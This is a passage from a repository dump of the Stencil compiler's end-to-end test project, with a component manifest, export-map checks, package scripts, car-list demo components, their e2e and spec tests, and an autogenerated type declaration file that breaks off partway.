{\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"scoped-car-detail\",\n          \"declaration\": {\n            \"name\": \"ScopedCarDetail\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/scoped-car-list.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"scoped-car-list\",\n          \"name\": \"ScopedCarList\",\n          \"description\": \"Component that helps display a list of cars\",\n          \"attributes\": [\n            {\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"fieldName\": \"cars\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"cars\",\n              \"type\": {\n                \"text\": \"CarData[]\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              },\n              \"readonly\": true,\n              \"attribute\": \"cars\"\n            },\n            {\n              \"kind\": \"field\",\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"CarData\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"events\": [\n            {\n              \"name\": \"carSelected\",\n              \"type\": {\n                \"text\": \"CustomEvent<CarData>\",\n                \"references\": [\n                  {\n                    \"name\": \"CarData\",\n                    \"module\": \"../car-list/car-data\"\n                  }\n                ]\n              }\n            }\n          ],\n          \"slots\": [\n            {\n              \"name\": \"header\",\n              \"description\": \"The slot for the header content.\"\n            }\n          ],\n          \"cssParts\": [\n            {\n              \"name\": \"car\",\n              \"description\": \"The shadow part to target to style the car.\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ScopedCarList\",\n          \"declaration\": {\n            \"name\": \"ScopedCarList\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"scoped-car-list\",\n          \"declaration\": {\n            \"name\": \"ScopedCarList\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/shadow.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"shadow-child\",\n          \"name\": \"ShadowChild\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ShadowChild\",\n          \"declaration\": {\n            \"name\": \"ShadowChild\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"shadow-child\",\n          \"declaration\": {\n            \"name\": \"ShadowChild\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/scoped-hydration/shadow-wrapper.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"shadow-wrapper\",\n          \"name\": \"ShadowWrapper\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"ShadowWrapper\",\n          \"declaration\": {\n            \"name\": \"ShadowWrapper\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"shadow-wrapper\",\n          \"declaration\": {\n            \"name\": \"ShadowWrapper\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/slot-cmp/slot-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"slot-cmp\",\n          \"name\": \"SlotCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"SlotCmp\",\n          \"declaration\": {\n            \"name\": \"SlotCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"slot-cmp\",\n          \"declaration\": {\n            \"name\": \"SlotCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/slot-cmp-container/slot-cmp-container.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"slot-cmp-container\",\n          \"name\": \"SlotCmpContainer\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"SlotCmpContainer\",\n          \"declaration\": {\n            \"name\": \"SlotCmpContainer\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"slot-cmp-container\",\n          \"declaration\": {\n            \"name\": \"SlotCmpContainer\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/slot-parent-cmp/slot-parent-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"slot-parent-cmp\",\n          \"name\": \"SlotParentCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"label\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"fieldName\": \"label\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"label\",\n              \"type\": {\n                \"text\": \"string\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"label\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"SlotParentCmp\",\n          \"declaration\": {\n            \"name\": \"SlotParentCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"slot-parent-cmp\",\n          \"declaration\": {\n            \"name\": \"SlotParentCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/ssr-shadow-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"ssr-shadow-cmp\",\n          \"name\": \"SsrShadowCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"fieldName\": \"selected\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"selected\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"SsrShadowCmp\",\n          \"declaration\": {\n            \"name\": \"SsrShadowCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"ssr-shadow-cmp\",\n          \"declaration\": {\n            \"name\": \"SsrShadowCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/state-cmp/state-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"state-cmp\",\n          \"name\": \"StateCmp\"\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"StateCmp\",\n          \"declaration\": {\n            \"name\": \"StateCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"state-cmp\",\n          \"declaration\": {\n            \"name\": \"StateCmp\"\n          }\n        }\n      ]\n    },\n    {\n      \"kind\": \"javascript-module\",\n      \"path\": \"src/declarative-shadow-dom/wrap-ssr-shadow-cmp.tsx\",\n      \"declarations\": [\n        {\n          \"kind\": \"class\",\n          \"customElement\": true,\n          \"tagName\": \"wrap-ssr-shadow-cmp\",\n          \"name\": \"WrapSsrShadowCmp\",\n          \"attributes\": [\n            {\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"fieldName\": \"selected\"\n            }\n          ],\n          \"members\": [\n            {\n              \"kind\": \"field\",\n              \"name\": \"selected\",\n              \"type\": {\n                \"text\": \"boolean\"\n              },\n              \"readonly\": true,\n              \"attribute\": \"selected\"\n            }\n          ]\n        }\n      ],\n      \"exports\": [\n        {\n          \"kind\": \"js\",\n          \"name\": \"WrapSsrShadowCmp\",\n          \"declaration\": {\n            \"name\": \"WrapSsrShadowCmp\"\n          }\n        },\n        {\n          \"kind\": \"custom-element-definition\",\n          \"name\": \"wrap-ssr-shadow-cmp\",\n          \"declaration\": {\n            \"name\": \"WrapSsrShadowCmp\"\n          }\n        }\n      ]\n    }\n  ]\n}"
  },
  {
    "path": "test/end-to-end/exportMap/index.js",
    "content": "const assert = require('node:assert');\n\nconst { version } = require('@stencil/core/compiler');\nconst { run } = require('@stencil/core/cli');\nconst { h } = require('@stencil/core');\nconst { MockDocument } = require('@stencil/core/mock-doc');\nconst appData = require('@stencil/core/internal/app-data');\nconst { createNodeLogger } = require('@stencil/core/sys/node');\nconst { createTesting } = require('@stencil/core/testing');\nconst preset = require('@stencil/core/testing/jest-preset');\nconst { ScreenshotLocalConnector } = require('@stencil/core/screenshot');\n\nassert(typeof version === 'string');\nassert(typeof run, 'function');\nassert(typeof h === 'function');\nassert(typeof MockDocument === 'function');\nassert(Object.keys(appData).length === 3);\nassert(typeof createNodeLogger === 'function');\nassert(typeof createTesting === 'function');\nassert(preset.moduleFileExtensions);\nassert(ScreenshotLocalConnector);\n\nconsole.log(`🎉 All CJS imports successfully resolved!`);\nconsole.log('✅ passed!\\n');\n"
  },
  {
    "path": "test/end-to-end/exportMap/index.mts",
    "content": "import assert from 'node:assert';\n\nimport { run } from '@stencil/core/cli';\nimport { version } from '@stencil/core/compiler';\nimport { MockDocument } from '@stencil/core/mock-doc';\nimport type { BuildConditionals } from '@stencil/core/internal';\nimport { BUILD } from '@stencil/core/internal/app-data';\nimport { createNodeLogger } from '@stencil/core/sys/node';\nimport { createTesting } from '@stencil/core/testing';\n\nassert(typeof version === 'string');\nversion.slice();\nBUILD as BuildConditionals;\n\nassert(typeof run, 'function');\nrun.call;\n\nassert(typeof MockDocument === 'function');\nassert(typeof BUILD !== 'undefined');\nassert(typeof createNodeLogger === 'function');\nassert(typeof createTesting === 'function');\n\nconsole.log(`🎉 All ESM imports successfully resolved!`);\nconsole.log('✅ passed!\\n');\n"
  },
  {
    "path": "test/end-to-end/package.json",
    "content": "{\n  \"name\": \"@stencil/end-to-end\",\n  \"private\": true,\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"types\": \"dist/types/components.d.ts\",\n  \"collection\": \" dist/collection/collection-manifest.json\",\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build --config ./stencil.build.config.ts --docs\",\n    \"start\": \"node ../../bin/stencil build --debug --watch --dev --serve\",\n    \"test\": \"node ../../bin/stencil test --ci --e2e --spec --screenshot --debug\",\n    \"test.dist\": \"npm run build && node test-end-to-end-dist.js && node test-end-to-end-hydrate.js && npm run test.exportMap\",\n    \"test.e2e\": \"node ../../bin/stencil test --e2e\",\n    \"test.exportMap\": \"node ./exportMap/index.js && tsx ./exportMap/index.mts\",\n    \"test.hydrate\": \"node test-end-to-end-hydrate.js\",\n    \"test.screenshot\": \"node ../../bin/stencil test --e2e --debug --screenshot\",\n    \"test.spec\": \"node ../../bin/stencil test --spec --debug\",\n    \"jest\": \"jest --coverage\",\n    \"benchmark\": \"node benchmark-compile-time.js\"\n  },\n  \"jest\": {\n    \"preset\": \"../../testing/jest-preset.js\"\n  },\n  \"devDependencies\": {\n    \"@stencil/core\": \"file:../../\",\n    \"@stencil/react-output-target\": \"^0.0.9\",\n    \"@types/file-saver\": \"^2.0.1\",\n    \"@types/lodash\": \"^4.14.165\",\n    \"@types/lodash-es\": \"^4.17.4\",\n    \"@types/video.js\": \"^7.3.11\",\n    \"file-saver\": \"^2.0.2\",\n    \"linaria\": \"^1.3.3\",\n    \"lodash\": \"^4.17.20\",\n    \"lodash-es\": \"^4.17.15\",\n    \"rollup-plugin-css-only\": \"^2.1.0\",\n    \"rollup-plugin-node-builtins\": \"^2.1.2\",\n    \"tsx\": \"^4.19.2\",\n    \"video.js\": \"^7.10.2\",\n    \"why-is-node-running\": \"^2.2.0\"\n  },\n  \"volta\": {\n    \"extends\": \"../../package.json\"\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/screenshot/.gitignore",
    "content": "images\nbuilds\ncompare.html"
  },
  {
    "path": "test/end-to-end/src/app-root/app-root.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('goto root url', () => {\n  it('have custom hydrate flags and css', async () => {\n    const page = await newE2EPage({ url: '/' });\n\n    const elm = await page.find('app-root');\n    expect(elm).toHaveAttribute('custom-hydrate-flag');\n\n    const elmStyle = await elm.getComputedStyle();\n    expect(elmStyle.opacity).toBe('1');\n\n    const headStyleElm = await page.find('head style[data-styles]');\n    expect(headStyleElm.innerHTML).toContain('{opacity:0}[custom-hydrate-flag]{opacity:1}');\n  });\n\n  it('should navigate to the index.html page w/out url searchParams', async () => {\n    // create a new puppeteer page\n    // and go to the root webpage\n    const page = await newE2EPage({ url: '/' });\n\n    // select the \"prop-cmp\" element within the page (same as querySelector)\n    // and once it's received, then return the element's \"textContent\" property\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText(\n      'Hello, my name is Stencil JS. My full name being Mr Stencil JS. I like to wear life preservers.',\n    );\n\n    await page.compareScreenshot('navigate to homepage', {\n      fullPage: false,\n      clip: { x: 0, y: 0, width: 400, height: 250 },\n      omitBackground: true,\n    });\n  });\n\n  it('should navigate to the index.html page with custom url searchParams', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      url: '/?first=Doc&last=Brown&clothes=lab coats',\n    });\n\n    const elm = await page.find('prop-cmp >>> div');\n    expect(elm).toEqualText('Hello, my name is Doc Brown. My full name being Mr Doc Brown. I like to wear lab coats.');\n\n    await page.compareScreenshot('navigate to homepage with querystrings');\n  });\n\n  it('should apply global style when navigating to root page', async () => {\n    const page = await newE2EPage({\n      url: '/',\n    });\n\n    const elm = await page.find('app-root');\n    const elmStyle = await elm.getComputedStyle();\n\n    expect(elmStyle.borderColor).toBe('rgb(255, 0, 0)');\n    expect(elmStyle.borderWidth).toBe('5px');\n    expect(elmStyle.borderStyle).toBe('dotted');\n  });\n\n  it('should apply global style when setting html', async () => {\n    const page = await newE2EPage({\n      url: '/',\n    });\n\n    const elm = await page.find('app-root');\n    const elmStyle = await elm.getComputedStyle();\n\n    expect(elmStyle.borderColor).toBe('rgb(255, 0, 0)');\n    expect(elmStyle.borderWidth).toBe('5px');\n    expect(elmStyle.borderStyle).toBe('dotted');\n\n    const videoElm = await page.find('#video');\n    const videoStyle = await videoElm.getComputedStyle();\n\n    // @Component() styles\n    expect(videoStyle.borderColor).toBe('rgb(0, 0, 255)');\n    expect(videoStyle.borderWidth).toBe('2px');\n\n    // linaria styles\n    expect(videoStyle.backgroundColor).toBe('rgba(0, 0, 255, 0.1)');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/app-root/app-root.tsx",
    "content": "import { Component, State, h, Host, Listen } from '@stencil/core';\nimport _ from 'lodash';\nimport * as _es from 'lodash-es';\nimport videojs from 'video.js';\nimport { css } from 'linaria';\nimport { MeString } from './interfaces';\n\nconst linariaCss = css`\n  background-color: rgba(0, 0, 255, 0.1);\n`;\n\nconst styles = `\n  #video {\n    position: absolute;\n    top: 400px;\n    width: 80%;\n    height: 300px;\n    border: 2px solid blue;\n    padding: 10px;\n  }\n`;\n\nfunction format(target: any, propertyKey: string) {\n  console.log(target, propertyKey);\n}\n\n@Component({\n  tag: 'app-root',\n  styles,\n})\nexport class AppRoot {\n  @format something = '12';\n  @State() first: string;\n  @State() last: MeString;\n  @State() clothes: string;\n\n  componentWillLoad() {\n    const url = new URL(window.location.href);\n    this.first = url.searchParams.get('first') || 'Stencil';\n    this.last = url.searchParams.get('last') || 'JS';\n    this.clothes = url.searchParams.get('clothes') || 'life preservers';\n    console.log('lodash', _.camelCase('LODASH'));\n    console.log('lodash-es', _es.camelCase('LODASH-ES'));\n  }\n\n  componentDidLoad() {\n    videojs('video');\n  }\n\n  @Listen('scroll', { target: 'window' })\n  scroll(ev: UIEvent) {\n    console.log(ev.type);\n  }\n\n  render() {\n    return (\n      <Host>\n        <prop-cmp first={this.first} lastName={this.last} clothes={this.clothes} mode=\"ios\" />\n        <div id=\"video\" class={linariaCss}></div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/app-root/interfaces.d.ts",
    "content": "export type MeString = string;\n"
  },
  {
    "path": "test/end-to-end/src/app-root/no-component.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('load when html does not contain components', () => {\n  it('test', async () => {\n    await newE2EPage({ html: `<div>88 mph</div>` });\n    expect(1).toBe(1);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/app-root/readme.md",
    "content": "# app-root\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Dependencies\n\n### Depends on\n\n- [prop-cmp](../prop-cmp)\n\n### Graph\n```mermaid\ngraph TD;\n  app-root --> prop-cmp\n  style app-root fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/build-data/build-data.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('build-data e2e', () => {\n  it('should navigate to the index.html page w/out url searchParams', async () => {\n    // create a new puppeteer page\n    // and go to the root webpage\n    const page = await newE2EPage({\n      html: `<build-data></build-data>`,\n    });\n    const element = await page.find('build-data');\n    expect(element).toEqualHtml(`\n      <build-data custom-hydrate-flag=\"\">\n        <p>isDev: true</p>\n        <p>isBrowser: true</p>\n        <p>isTesting: true</p>\n      </build-data>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/build-data/build-data.spec.ts",
    "content": "import { newSpecPage } from '@stencil/core/testing';\n\nimport { BuildData } from './build-data';\n\ndescribe('build-data', () => {\n  it('should be a test', async () => {\n    const { root } = await newSpecPage({\n      components: [BuildData],\n      html: `<build-data></build-data>`,\n    });\n    expect(root).toEqualHtml(`\n      <build-data>\n        <p>isDev: true</p>\n        <p>isBrowser: false</p>\n        <p>isTesting: true</p>\n      </build-data>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/build-data/build-data.tsx",
    "content": "import { Component, h, Build, Host } from '@stencil/core';\n\n@Component({\n  tag: 'build-data',\n})\nexport class BuildData {\n  render() {\n    return (\n      <Host>\n        <p>isDev: {`${Build.isDev}`}</p>\n        <p>isBrowser: {`${Build.isBrowser}`}</p>\n        <p>isTesting: {`${Build.isTesting}`}</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/build-data/readme.md",
    "content": "# build-data\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/car-detail/assets-a/file-1.txt",
    "content": "file-1.txt"
  },
  {
    "path": "test/end-to-end/src/car-detail/car-detail.tsx",
    "content": "import { Component, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from '../car-list/car-data';\n\n@Component({\n  tag: 'car-detail',\n  assetsDirs: ['assets-a'],\n})\nexport class CarDetail {\n  @Prop() car: CarData;\n  @AttrDeserialize('car')\n  parseCars(newValue: string) {\n    return JSON.parse(newValue);\n  }\n\n  componentWillLoad() {\n    return new Promise((resolve) => setTimeout(resolve, 20));\n  }\n\n  render() {\n    if (!this.car) {\n      return null;\n    }\n\n    return (\n      <section>\n        {this.car.year} {this.car.make} {this.car.model}\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/car-detail/readme.md",
    "content": "# car-detail\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property | Attribute | Description | Type      | Default     |\n| -------- | --------- | ----------- | --------- | ----------- |\n| `car`    | `car`     |             | `CarData` | `undefined` |\n\n\n## Dependencies\n\n### Used by\n\n - [car-list](../car-list)\n\n### Graph\n```mermaid\ngraph TD;\n  car-list --> car-detail\n  style car-detail fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/car-list/assets-a/file-2.txt",
    "content": "file-2.txt"
  },
  {
    "path": "test/end-to-end/src/car-list/car-data.ts",
    "content": "export class CarData {\n  make: string;\n  model: string;\n  year: number;\n\n  constructor(make: string, model: string, year: number) {\n    this.make = make;\n    this.model = model;\n    this.year = year;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/car-list/car-list.css",
    "content": "\n:host {\n  display: block;\n  margin: 10px;\n  padding: 10px;\n  border: 1px solid blue;\n}\n\nul {\n  display: block;\n  margin: 0;\n  padding: 0;\n}\n\nli {\n  list-style: none;\n  margin: 0;\n  padding: 20px;\n}\n\n.selected {\n  font-weight: bold;\n  background: rgb(255, 255, 210);\n}\n"
  },
  {
    "path": "test/end-to-end/src/car-list/car-list.e2e.ts",
    "content": "import { E2EElement, E2EPage, newE2EPage } from '@stencil/core/testing';\n\nimport { CarData } from './car-data';\n\ndescribe('car-list', () => {\n  let page: E2EPage;\n  let elm: E2EElement;\n\n  beforeEach(async () => {\n    page = await newE2EPage({\n      html: `\n      <car-list></car-list>\n    `,\n    });\n    elm = await page.find('car-list');\n  });\n\n  it('should work without parameters', async () => {\n    expect(elm).toEqualHtml(`\n      <car-list custom-hydrate-flag=\"\">\n        <mock:shadow-root></mock:shadow-root>\n      </car-list>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(``);\n    expect(elm.shadowRoot).toEqualHtml(``);\n  });\n\n  it('should set car list data', async () => {\n    const cars: CarData[] = [\n      new CarData('Cord', 'Model 812', 1934),\n      new CarData('Duesenberg', 'SSJ', 1935),\n      new CarData('Alfa Romeo', '2900 8c', 1938),\n    ];\n\n    elm.setProperty('cars', cars);\n\n    await page.waitForChanges();\n\n    expect(elm).toEqualHtml(`\n      <car-list custom-hydrate-flag=\"\">\n        <mock:shadow-root>\n          <ul>\n            <li class=\"\">\n              <car-detail custom-hydrate-flag=\"\">\n                <section>\n                  1934 Cord Model 812\n                </section>\n              </car-detail>\n            </li>\n            <li class=\"\">\n              <car-detail custom-hydrate-flag=\"\">\n                <section>\n                  1935 Duesenberg SSJ\n                </section>\n              </car-detail>\n            </li>\n            <li class=\"\">\n              <car-detail custom-hydrate-flag=\"\">\n                <section>\n                  1938 Alfa Romeo 2900 8c\n                </section>\n              </car-detail>\n            </li>\n          </ul>\n        </mock:shadow-root>\n      </car-list>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(``);\n\n    expect(elm.shadowRoot).toEqualHtml(`\n      <ul>\n        <li>\n          <car-detail custom-hydrate-flag=\"\">\n            <section>\n              1934 Cord Model 812\n            </section>\n          </car-detail>\n        </li>\n        <li>\n          <car-detail custom-hydrate-flag=\"\">\n            <section>\n              1935 Duesenberg SSJ\n            </section>\n          </car-detail>\n        </li>\n        <li>\n          <car-detail custom-hydrate-flag=\"\">\n            <section>\n              1938 Alfa Romeo 2900 8c\n            </section>\n          </car-detail>\n        </li>\n      </ul>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/car-list/car-list.tsx",
    "content": "import { Component, Event, EventEmitter, h, Prop, AttrDeserialize } from '@stencil/core';\n\nimport { CarData } from './car-data';\n\n/**\n * Component that helps display a list of cars\n * @slot header - The slot for the header content.\n * @part car - The shadow part to target to style the car.\n */\n@Component({\n  tag: 'car-list',\n  styleUrl: 'car-list.css',\n  shadow: true,\n  assetsDirs: ['assets-a'],\n})\nexport class CarList {\n  @Prop() cars: CarData[];\n  @AttrDeserialize('cars')\n  parseCars(newValue: string) {\n    return JSON.parse(newValue);\n  }\n  @Prop({ mutable: true }) selected: CarData;\n  @Event() carSelected: EventEmitter<CarData>;\n\n  componentWillLoad() {\n    return new Promise((resolve) => setTimeout(resolve, 20));\n  }\n\n  selectCar(car: CarData) {\n    this.selected = car;\n    this.carSelected.emit(car);\n  }\n\n  render() {\n    if (!Array.isArray(this.cars)) {\n      return null;\n    }\n\n    return (\n      <ul>\n        {this.cars.map((car) => {\n          return (\n            <li class={car === this.selected ? 'selected' : ''} onClick={() => this.selectCar(car)}>\n              <car-detail car={car}></car-detail>\n            </li>\n          );\n        })}\n      </ul>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/car-list/readme.md",
    "content": "# car-list\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Overview\n\nComponent that helps display a list of cars\n\n## Properties\n\n| Property   | Attribute | Description | Type        | Default     |\n| ---------- | --------- | ----------- | ----------- | ----------- |\n| `cars`     | `cars`    |             | `CarData[]` | `undefined` |\n| `selected` | --        |             | `CarData`   | `undefined` |\n\n\n## Events\n\n| Event         | Description | Type                   |\n| ------------- | ----------- | ---------------------- |\n| `carSelected` |             | `CustomEvent<CarData>` |\n\n\n## Slots\n\n| Slot       | Description                      |\n| ---------- | -------------------------------- |\n| `\"header\"` | The slot for the header content. |\n\n\n## Shadow Parts\n\n| Part    | Description                                 |\n| ------- | ------------------------------------------- |\n| `\"car\"` | The shadow part to target to style the car. |\n\n\n## Dependencies\n\n### Depends on\n\n- [car-detail](../car-detail)\n\n### Graph\n```mermaid\ngraph TD;\n  car-list --> car-detail\n  style car-list fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nimport { CarData } from \"./car-list/car-data\";\nexport { CarData } from \"./car-list/car-data\";\nexport namespace Components {\n    interface AnotherCarDetail {\n        \"car\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface AnotherCarList {\n        \"cars\": CarData[];\n        \"selected\": CarData;\n    }\n    interface AppRoot {\n    }\n    interface BuildData {\n    }\n    interface CarDetail {\n        \"car\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface CarList {\n        \"cars\": CarData[];\n        \"selected\": CarData;\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpDsd {\n        /**\n          * @default 0\n         */\n        \"initialCounter\": number;\n    }\n    interface CmpDsdFocus {\n    }\n    interface CmpServerVsClient {\n    }\n    interface CmpWithSlot {\n    }\n    interface DomApi {\n    }\n    interface DomInteraction {\n    }\n    interface DomVisible {\n    }\n    interface DsdListenCmp {\n    }\n    interface ElementCmp {\n    }\n    interface EmptyCmp {\n    }\n    interface EmptyCmpShadow {\n    }\n    interface EnvData {\n    }\n    interface EventCmp {\n        /**\n          * this is some method that fires an event with options\n          * @param mph some value\n          * @returns\n         */\n        \"methodThatFiresEventWithOptions\": (mph: number) => Promise<void>;\n        /**\n          * this is some method that fires a document event\n          * @returns\n         */\n        \"methodThatFiresMyDocumentEvent\": () => Promise<void>;\n        /**\n          * this is some method that fires a window event\n          * @param value some value\n          * @returns\n         */\n        \"methodThatFiresMyWindowEvent\": (value: number) => Promise<void>;\n    }\n    interface HydratedSiblingAccessors {\n    }\n    interface ImportAssets {\n    }\n    interface ListenCmp {\n        /**\n          * @default false\n         */\n        \"opened\": boolean;\n    }\n    interface MethodCmp {\n        /**\n          * this is some method\n          * @returns some number\n         */\n        \"someMethod\": () => Promise<number>;\n        /**\n          * this is some method with args\n          * @param unit some unit\n          * @param value some value\n          * @returns some string\n         */\n        \"someMethodWithArgs\": (unit: string, value: number) => Promise<string>;\n        /**\n          * @default 0\n         */\n        \"someProp\": number;\n    }\n    interface MyCmp {\n        /**\n          * bar prop\n          * @returns bar\n          * @readonly \n          * @default 'bar'\n         */\n        \"barProp\": string;\n        /**\n          * foo prop\n         */\n        \"fooProp\": string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface MyJsxCmp {\n        /**\n          * bar prop\n          * @returns bar\n          * @readonly \n          * @default 'bar'\n         */\n        \"barProp\": string;\n        /**\n          * foo prop\n         */\n        \"fooProp\": string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface NestedCmpChild {\n    }\n    interface NestedCmpParent {\n    }\n    interface NestedScopeCmp {\n    }\n    interface NonShadowChild {\n    }\n    interface NonShadowForwardedSlot {\n    }\n    interface NonShadowMultiSlots {\n    }\n    interface NonShadowWrapper {\n    }\n    interface PathAliasCmp {\n    }\n    interface PrerenderCmp {\n    }\n    interface PropCmp {\n        /**\n          * @default 'life preservers'\n         */\n        \"clothes\": string;\n        \"first\": string;\n        /**\n          * @readonly\n         */\n        \"fullName\": string;\n        \"lastName\": string;\n        /**\n          * Mode\n         */\n        \"mode\"?: any;\n    }\n    interface ResolveVarEvents {\n        \"emitMyEvent\": () => Promise<void>;\n        \"emitOtherEvent\": () => Promise<void>;\n    }\n    interface RuntimeDecorators {\n        /**\n          * @default 'basicProp'\n         */\n        \"basicProp\": string;\n        \"decoratedGetterSetterProp\": number;\n        /**\n          * @default -10\n         */\n        \"decoratedProp\": number;\n    }\n    interface ScopedCarDetail {\n        \"car\": CarData;\n    }\n    /**\n     * Component that helps display a list of cars\n     */\n    interface ScopedCarList {\n        \"cars\": CarData[];\n        \"selected\": CarData;\n    }\n    interface ShadowChild {\n    }\n    interface 